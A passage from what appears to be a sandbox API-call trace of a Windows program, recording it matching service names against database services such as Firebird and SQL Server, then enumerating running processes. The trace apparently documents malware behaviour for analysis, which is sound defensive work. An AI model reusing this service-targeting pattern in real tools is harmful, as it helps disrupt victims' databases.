(lpString1="sqlwriter", lpString2="EventLog") returned 1 [0138.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0138.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0138.542] lstrlenW (lpString="EventSystem") returned 11 [0138.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0138.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0138.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0138.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0138.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0138.542] lstrlenW (lpString="FontCache") returned 9 [0138.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0138.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0138.542] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0138.542] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0138.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0138.542] lstrlenW (lpString="gpsvc") returned 5 [0138.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0138.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0138.542] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0138.542] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0138.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0138.542] lstrlenW (lpString="iphlpsvc") returned 8 [0138.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0138.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0138.543] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0138.543] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0138.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0138.543] lstrlenW (lpString="KeyIso") returned 6 [0138.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0138.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0138.543] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0138.543] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0138.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0138.543] lstrlenW (lpString="LanmanServer") returned 12 [0138.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0138.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0138.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0138.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0138.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0138.543] lstrlenW (lpString="LanmanWorkstation") returned 17 [0138.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0138.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0138.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0138.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0138.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0138.543] lstrlenW (lpString="lfsvc") returned 5 [0138.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0138.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0138.543] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0138.543] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0138.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0138.543] lstrlenW (lpString="lmhosts") returned 7 [0138.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0138.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0138.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0138.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0138.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0138.544] lstrlenW (lpString="LSM") returned 3 [0138.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0138.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0138.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0138.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0138.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0138.544] lstrlenW (lpString="MapsBroker") returned 10 [0138.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0138.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0138.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0138.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0138.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0138.544] lstrlenW (lpString="MpsSvc") returned 6 [0138.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0138.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0138.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0138.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0138.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0138.544] lstrlenW (lpString="NcbService") returned 10 [0138.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0138.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0138.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0138.544] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0138.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0138.545] lstrlenW (lpString="netprofm") returned 8 [0138.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0138.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0138.545] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0138.545] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0138.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0138.545] lstrlenW (lpString="NlaSvc") returned 6 [0138.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0138.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0138.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0138.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0138.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0138.545] lstrlenW (lpString="nsi") returned 3 [0138.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0138.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0138.545] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0138.545] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0138.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0138.545] lstrlenW (lpString="PcaSvc") returned 6 [0138.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0138.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0138.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0138.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0138.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0138.545] lstrlenW (lpString="PlugPlay") returned 8 [0138.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0138.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0138.545] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0138.545] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0138.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0138.546] lstrlenW (lpString="Power") returned 5 [0138.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0138.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0138.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0138.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0138.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0138.546] lstrlenW (lpString="ProfSvc") returned 7 [0138.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0138.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0138.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0138.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0138.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0138.546] lstrlenW (lpString="RpcEptMapper") returned 12 [0138.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0138.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0138.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0138.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0138.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0138.546] lstrlenW (lpString="RpcSs") returned 5 [0138.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0138.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0138.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0138.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0138.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0138.546] lstrlenW (lpString="SamSs") returned 5 [0138.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0138.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0138.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0138.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0138.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0138.670] lstrlenW (lpString="Schedule") returned 8 [0138.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0138.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0138.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0138.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0138.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0138.670] lstrlenW (lpString="SecurityHealthService") returned 21 [0138.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0138.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0138.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0138.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0138.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0138.670] lstrlenW (lpString="SENS") returned 4 [0138.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0138.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0138.670] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0138.670] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0138.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0138.670] lstrlenW (lpString="ShellHWDetection") returned 16 [0138.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0138.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0138.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0138.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0138.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0138.671] lstrlenW (lpString="Spooler") returned 7 [0138.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0138.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0138.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0138.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0138.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0138.671] lstrlenW (lpString="SSDPSRV") returned 7 [0138.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0138.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0138.671] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0138.671] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0138.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0138.671] lstrlenW (lpString="StateRepository") returned 15 [0138.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0138.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0138.671] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0138.671] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0138.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0138.671] lstrlenW (lpString="SysMain") returned 7 [0138.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0138.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0138.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0138.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0138.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0138.672] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0138.678] Process32FirstW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0138.679] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0138.680] lstrlenW (lpString="System") returned 6 [0138.680] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0138.681] lstrlenW (lpString="smss.exe") returned 8 [0138.681] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.682] lstrlenW (lpString="csrss.exe") returned 9 [0138.682] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0138.683] lstrlenW (lpString="wininit.exe") returned 11 [0138.683] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0138.684] lstrlenW (lpString="csrss.exe") returned 9 [0138.684] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0138.685] lstrlenW (lpString="winlogon.exe") returned 12 [0138.685] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0138.686] lstrlenW (lpString="services.exe") returned 12 [0138.686] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0138.687] lstrlenW (lpString="lsass.exe") returned 9 [0138.688] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.688] lstrlenW (lpString="svchost.exe") returned 11 [0138.689] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0138.689] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0138.690] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0138.690] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0138.690] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.691] lstrlenW (lpString="svchost.exe") returned 11 [0138.691] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0138.692] lstrlenW (lpString="dwm.exe") returned 7 [0138.692] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.693] lstrlenW (lpString="svchost.exe") returned 11 [0138.693] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.694] lstrlenW (lpString="svchost.exe") returned 11 [0138.695] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.696] lstrlenW (lpString="svchost.exe") returned 11 [0138.696] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.697] lstrlenW (lpString="svchost.exe") returned 11 [0138.697] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.698] lstrlenW (lpString="svchost.exe") returned 11 [0138.698] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.699] lstrlenW (lpString="svchost.exe") returned 11 [0138.699] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.700] lstrlenW (lpString="svchost.exe") returned 11 [0138.700] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.807] lstrlenW (lpString="svchost.exe") returned 11 [0138.807] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.808] lstrlenW (lpString="svchost.exe") returned 11 [0138.808] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0138.809] lstrlenW (lpString="spoolsv.exe") returned 11 [0138.809] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.810] lstrlenW (lpString="svchost.exe") returned 11 [0138.810] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.810] lstrlenW (lpString="svchost.exe") returned 11 [0138.810] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0138.811] lstrlenW (lpString="audiodg.exe") returned 11 [0138.811] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0138.813] lstrlenW (lpString="sihost.exe") returned 10 [0138.813] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0138.814] lstrlenW (lpString="svchost.exe") returned 11 [0138.814] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0138.815] lstrlenW (lpString="taskhostw.exe") returned 13 [0138.815] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0138.815] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0138.816] Process32NextW (in: hSnapshot=0x10b8, lppe=0x8cefd2c | out: 